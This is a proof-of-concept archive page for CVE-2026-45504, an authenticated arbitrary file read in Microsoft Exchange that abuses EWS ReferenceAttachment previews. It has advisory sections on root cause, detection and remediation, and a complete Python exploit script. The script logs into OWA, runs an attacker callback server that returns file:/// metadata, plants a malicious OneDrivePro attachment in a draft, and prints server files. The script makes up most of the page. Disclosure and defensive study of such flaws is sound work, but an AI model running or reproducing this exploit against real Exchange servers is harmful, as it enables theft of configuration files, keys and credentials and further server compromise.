PoC Archive PoC Archive
High CVE-2026-45504 patched

Microsoft Exchange Authenticated Arbitrary File Read via EWS Reference Attachment (CVE-2026-45504)

by Batuhan Er (@int20z) · 2026-07-05

Severity
High
CVE
CVE-2026-45504
Category
web
Affected product
Microsoft Exchange Server (OWA / EWS)
Affected versions
Per source repository (script targets Exchange2016 SOAP schema)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherBatuhan Er (@int20z)
CVE / AdvisoryCVE-2026-45504
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsexchange, owa, ews, file-read, ssrf, ntlm, soap, lfi
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Exchange Server (OWA / EWS)
Versions AffectedPer source repository (script targets Exchange2016 SOAP schema)
Language / PlatformPython 3
Authentication RequiredYes (valid Exchange/OWA domain credentials via NTLM)
Network Access RequiredYes

Summary

CVE-2026-45504 is an authenticated arbitrary file read vulnerability in Microsoft Exchange Server. An attacker with valid mailbox credentials authenticates to OWA and, via the Exchange Web Services (EWS) CreateItem/CreateAttachment SOAP calls, creates a message with a ReferenceAttachment of ProviderType OneDrivePro whose AttachLongPathName and ProviderEndpointUrl point at an attacker-controlled HTTP callback server. That callback server responds with a crafted XML metadata document declaring a file:/// WebApplicationUrl, causing the Exchange server to resolve and read the referenced local file when the client requests GetAttachmentPreview via the owa/service.svc endpoint. The returned attachment preview content is the raw contents of the target file on the Exchange server’s filesystem.


Vulnerability Details

Root Cause

Exchange’s EWS ReferenceAttachment / OneDrivePro attachment-provider flow trusts a remote metadata endpoint (controlled by the requester) to supply the actual resource location (WebApplicationUrl). Because this URL is not restricted to http(s):// schemes/expected provider hosts, an attacker-hosted metadata server can supply a file:/// URI, causing the Exchange server-side attachment-preview handler to open and return the contents of an arbitrary local file when the OWA client later requests a preview of that attachment.

Attack Vector

  1. Authenticate to OWA (/owa/auth.owa) with valid domain credentials to obtain a session and anti-CSRF “canary” token.
  2. Stand up a local attacker-controlled HTTP callback server that answers any GET with an XML document declaring d:WebApplicationUrl as file:///<target-file-path>#.
  3. Via EWS SOAP (/ews/exchange.asmx), call CreateItem to create a draft message, then CreateAttachment with a ReferenceAttachment of ProviderType=OneDrivePro whose AttachLongPathName/ProviderEndpointUrl point to the attacker’s callback server.
  4. Request GetAttachmentPreview for the resulting attachment ID via /owa/service.svc, using the session cookie and X-OWA-CANARY header.
  5. The Exchange server fetches metadata from the attacker’s callback, resolves the declared file:// path, and returns the target file’s contents in the preview response.

Impact

An authenticated attacker (any valid mailbox user) can read arbitrary files from the Exchange server’s local filesystem (e.g., configuration files, web.config, private keys, or OS files such as hosts), which can lead to further compromise (credential/secret disclosure, privilege escalation, or full server compromise depending on the file contents accessible).


Environment / Lab Setup

Target: Microsoft Exchange Server (OWA + EWS enabled), reachable at https://<exchange-host>
Attacker tooling: Python 3 with `requests` and `requests_ntlm` installed
Attacker requires: a routable IP/port reachable by the Exchange server for the callback HTTP listener
Valid domain\user credentials with OWA mailbox access

Proof of Concept

PoC Script

See CVE-2026-45504.py in this folder.

1
2
3
4
5
6
pip install requests requests_ntlm
python3 CVE-2026-45504.py \
  --attacker-ip <attacker_ip> --attacker-port 9020 \
  --creds "DOMAIN\testuser" --password "Password1" \
  --target https://mail.exchange.local \
  --target-file "C:/Windows/System32/drivers/etc/hosts"

Running this logs into OWA, spins up a local callback HTTP server, creates a draft message with a malicious ReferenceAttachment via EWS, then requests the attachment preview, printing the contents of the specified target file read from the Exchange server.


Detection & Indicators of Compromise

- EWS/OWA logs showing CreateItem/CreateAttachment SOAP calls with ReferenceAttachment / ProviderType=OneDrivePro
- Outbound HTTP requests from the Exchange server to unexpected/external attacker-controlled IPs shortly after CreateAttachment calls
- owa/service.svc requests with action=GetAttachmentPreview immediately following unusual EWS attachment creation
- Draft messages with attachment names like "doc.docx" referencing non-standard ProviderEndpointUrl values

Signs of compromise:

  • Unexpected outbound connections from the Exchange server to unknown external hosts/ports.
  • Draft/sent items containing reference attachments pointing to unfamiliar external URLs.
  • Anomalous GetAttachmentPreview activity correlated with sensitive file paths in logs.

Remediation

ActionDetail
Primary fixApply the vendor security update addressing CVE-2026-45504 for Microsoft Exchange Server.
Interim mitigationRestrict/monitor outbound network access from Exchange servers, disable or tightly scope ReferenceAttachment/OneDrivePro provider support if not required, and enforce least-privilege OWA/EWS access.

References


Notes

Mirrored from https://github.com/hawktrace/CVE-2026-45504 on 2026-07-05.

CVE-2026-45504.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env python3
import argparse
import re
import sys
import threading
import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests
from requests_ntlm import HttpNtlmAuth

requests.packages.urllib3.disable_warnings()


def parse_args():
    p = argparse.ArgumentParser(description="exchange ssrf via file read")
    p.add_argument("--attacker-ip", required=True, help="attacker ip ssrf callback")
    p.add_argument("--attacker-port", type=int, default=8780, help="attacker port")
    p.add_argument(
        "--creds", required=True, metavar="[DOMAIN\\]USER", help="DOMAIN\\username"
    )
    p.add_argument("--password", required=True, help="Account password")
    p.add_argument("--target-file", default="C:/windows/win.ini", help="target file")
    p.add_argument(
        "--target", default="https://192.168.2.145", help="target https://192.168.2.145"
    )
    args = p.parse_args()
    if "\\" in args.creds:
        args.domain, args.user = args.creds.split("\\", 1)
    else:
        args.domain, args.user = "", args.creds
    return args


ARGS = parse_args()
TARGET = ARGS.target
ATTACKER_IP = ARGS.attacker_ip
ATTACKER_PORT = ARGS.attacker_port
DOMAIN = ARGS.domain
USER = ARGS.user
PASS = ARGS.password
TARGET_FILE = ARGS.target_file

PRINCIPAL = f"{DOMAIN}\\{USER}" if DOMAIN else USER
NTLM = HttpNtlmAuth(PRINCIPAL, PASS)
_current_path = TARGET_FILE


class CallbackHandler(BaseHTTPRequestHandler):
    def log_message(self, *a):
        pass

    def do_GET(self):
        escaped = _current_path.replace(" ", "%20")
        body = (
            '<?xml version="1.0" encoding="utf-8"?>'
            '<root xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">'
            f"<d:WebApplicationUrl>file:///{escaped}#</d:WebApplicationUrl>"
            "<d:AccessToken>x</d:AccessToken>"
            "<d:AccessTokenTtl>3600</d:AccessTokenTtl>"
            "</root>"
        ).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/xml; charset=utf-8")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)


def login():
    s = requests.Session()
    s.verify = False
    r = s.post(
        f"{TARGET}/owa/auth.owa",
        data={
            "destination": f"{TARGET}/owa/",
            "flags": "4",
            "forcedownlevel": "0",
            "username": PRINCIPAL,
            "password": PASS,
            "isUtf8": "1",
        },
        allow_redirects=False,
        timeout=2000,
    )
    location = r.headers.get("Location", "")
    if "reason=2" in location or "logon.aspx" in location.lower():
        raise Exception("err: login failed")

    s.get(f"{TARGET}/owa/", allow_redirects=True, timeout=20)
    canary = next((c.value for c in s.cookies if "canary" in c.name.lower()), None)
    if not canary:
        raise Exception("err: login failed")
    return s, canary


def attach(base_url):
    r = requests.post(
        f"{TARGET}/ews/exchange.asmx",
        data=b"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Header><t:RequestServerVersion Version="Exchange2016"/></soap:Header>
  <soap:Body>
    <m:CreateItem MessageDisposition="SaveOnly">
      <m:SavedItemFolderId><t:DistinguishedFolderId Id="drafts"/></m:SavedItemFolderId>
      <m:Items><t:Message><t:Subject>lfi</t:Subject><t:Body BodyType="HTML">x</t:Body></t:Message></m:Items>
    </m:CreateItem>
  </soap:Body>
</soap:Envelope>""",
        headers={"Content-Type": "text/xml; charset=utf-8"},
        auth=NTLM,
        verify=False,
        timeout=2000,
    )
    m = re.search(r'Id="([A-Za-z0-9+/=]+)".*?ChangeKey="([A-Za-z0-9+/=]+)"', r.text)
    if not m:
        raise Exception("err: create item")
    item_id, item_ck = m.group(1), m.group(2)

    r2 = requests.post(
        f"{TARGET}/ews/exchange.asmx",
        data=f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Header><t:RequestServerVersion Version="Exchange2016"/></soap:Header>
  <soap:Body>
    <m:CreateAttachment>
      <m:ParentItemId Id="{item_id}" ChangeKey="{item_ck}"/>
      <m:Attachments>
        <t:ReferenceAttachment>
          <t:Name>doc.docx</t:Name>
          <t:AttachLongPathName>{base_url}/doc.docx</t:AttachLongPathName>
          <t:ProviderType>OneDrivePro</t:ProviderType>
          <t:ProviderEndpointUrl>{base_url}/</t:ProviderEndpointUrl>
        </t:ReferenceAttachment>
      </m:Attachments>
    </m:CreateAttachment>
  </soap:Body>
</soap:Envelope>""".encode(),
        headers={"Content-Type": "text/xml; charset=utf-8"},
        auth=NTLM,
        verify=False,
        timeout=2000,
    )
    m2 = re.search(r'Id="([A-Za-z0-9+/=]+)".*?RootItemId', r2.text)
    if not m2:
        raise Exception("err: create attachment")
    return m2.group(1)


def read_file(session, canary, att_id):
    enc = urllib.parse.quote(att_id, safe="")
    r = session.post(
        f"{TARGET}/owa/service.svc?action=GetAttachmentPreview&id={enc}",
        data="{}",
        headers={
            "Content-Type": "application/json; charset=utf-8",
            "X-OWA-CANARY": canary,
            "Action": "GetAttachmentPreview",
        },
        verify=False,
        timeout=2000,
    )
    return r.content


def main():
    print(r"""
 _                    _    _
| |                  | |  | |
| |__   __ ___      _| | _| |_ _ __ __ _  ___ ___
| '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
| | | | (_| |\ V  V /|   <| |_| | | (_| | (_|  __/
|_| |_|\__,_| \_/\_/ |_|\_\\__|_|  \__,_|\___\___|

              Batuhan Er @int20z
    CVE-2026-45504 Microsoft Exchange File Read

""")

    srv = HTTPServer(("0.0.0.0", ATTACKER_PORT), CallbackHandler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()

    print(f"[*] Target file : {TARGET_FILE}")
    print(f"[*] User        : {PRINCIPAL}")

    session, canary = login()
    print(f"[+] OWA login OK")

    att_id = attach(f"http://{ATTACKER_IP}:{ATTACKER_PORT}")
    print(f"[+] Attachment  : {att_id[:40]}...")

    content = read_file(session, canary, att_id)
    srv.shutdown()

    if content:
        print(f"[+] File read OK ({len(content)} bytes)\n")
        print(content.decode("utf-8", errors="replace"))
    else:
        print("[-] err: empty response")


if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        print(f"[-] {e}")
        sys.exit(1)